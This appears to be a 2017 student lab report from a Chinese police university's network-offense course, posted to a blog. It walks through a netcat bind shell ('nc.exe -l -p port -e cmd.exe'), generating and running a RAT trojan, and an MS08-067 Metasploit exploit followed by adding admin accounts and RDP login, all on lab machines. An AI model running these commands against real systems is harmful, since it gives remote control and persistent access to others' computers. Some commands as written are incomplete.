网络对抗技术实验四

 

 

网络对抗技术实验四

 

 

中国人民公安大学

Chinese people public security university

 

网络对抗技术

实验报告

 

实验四

恶意代码技术

 

 

 

学生姓名

魏成豪 

年级

2014级 

区队

六区队 

指导教师

高见 

                                 学号:201421460017

 

信息技术与网络安全学院

201710月24

 

实验任务总纲

2017—2018 学年 第  学期

一、实验目的

1.通过对木马的练习,使读者理解和掌握木马传播和运行的机制;通过手动删除木马,掌握检查木马和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。

 

2.了解并熟悉常用的网络攻击工具,木马的基本功能;

3.达到巩固课程知识和实际应用的目的。

二、实验要求

1.认真阅读每个实验内容,需要截图的题目,需清晰截图并对截图进行标注和说明。

2.文档要求结构清晰,图文表达准确,标注规范。推理内容客观、合理、逻辑性强。

3.软件工具可使用NC、MSF等。

4.实验结束后,保留电子文档。

、实验步骤

1.准备

提前做好实验准备,实验前应把详细了解实验目的、实验要求和实验内容,熟悉并准备好实验用的软件工具,按照实验内容和要求提前做好实验内容的准备。

2.实验环境

描述实验所使用的硬件和软件环境(包括各种软件工具);

开机并启动软件office2003或2007、浏览器、加解密软件。

3.实验过程

1)启动系统和启动工具软件环境。

2)用软件工具实现实验内容。

4.实验报告

按照统一要求的实验报告格式书写实验报告。把按照模板格式编写的文档嵌入到实验报告文档中,文档按照规定的书写格式书写,表格要有表说图形要有图说。

 

任务一 利用NC控制电脑

 

 NetCat,具有网络军刀之称,它小巧精悍且功能强大,说它小巧精悍,是因为他的软件大小现在已经压缩到只有十几KB,而且在功能上丝毫不减。

 

实验过程需要两个同学相互配合完成:

 

步骤一:

 

   在受害者的机器 (同学A)
输入下面的命令:
  nc.exe -l -p port -e cmd.exe   进入监听模式  开启受害者主机的 6666 2333端口

步骤二:
  在攻击者的机器.(同学B)
输入下面的命令:
  nc ip  port //连接victim_IP,然后得到一个shell。 (需要截图)攻击主机ip为192.168.42.96 端口2222

步骤三:

在shell中,利用net user 用户名 密码 /add ,添加一个用户,并在受害者的机器中使用 net user 命令进行验证。(需要截图) 添加账户wei 密码wei

目标主机中的显示

任务二 利用木马控制电脑

 

实验过程需要两个同学配合:

 

步骤一:攻击者的机器. (同学A)

打开V2014.exe程序

步骤二:
  点击菜单栏中的“服务生成”,在弹出的配置服务端中,配置回连IP地址(攻击者IP)和端口号,并点击“生成”按钮,生成木马服务端。

步骤三:将生成的木马可执行程序拷贝到受害者的机器,并双击运行。 

攻击者显示目标主机

步骤四:

 在控制端中查看木马上线情况,并对以下功能每个进行测试和截图。 

 1.文件管理,尝试拷贝文件

2.屏幕控制,尝试获取桌面

4.会话管理,重启对方机器,查看是否能自启动上线

会话管理,卸载对方的木马。

任务三 通过漏洞获取shell(合天平台中做) 所有过程截图写博客

 windows ms08067 漏洞利用

第一步 获取目标主机的ip

扫描网络内的主机,选择目标主机10.1.1.130

查看目标主机开启的服务

 

 

 

 

攻击完成后,目标主机的图标发生变化,点击Meterpreter,输入getuid命令,查看权限为SYSTEM攻击完成

在平台中获取shell之后,继续利用攻击机器使用

net user user pass /add

net localgroup administrators /add

命令向被攻击的机器中添加账户,并提升为管理员

然后用rdesktop 10.1.1.130 登陆对方的远程桌面

利用命令 net user yukangqing 123456 /add 命令在目标主机上添加账户,然后提升为管理员权限。利用命令 net localgroup administrator /add

在kail上用rdesktop 10.1.1.130登陆远程桌面

 

 

posted @ 2017-10-29 15:53  201421460017  阅读(152)  评论(0编辑  收藏  举报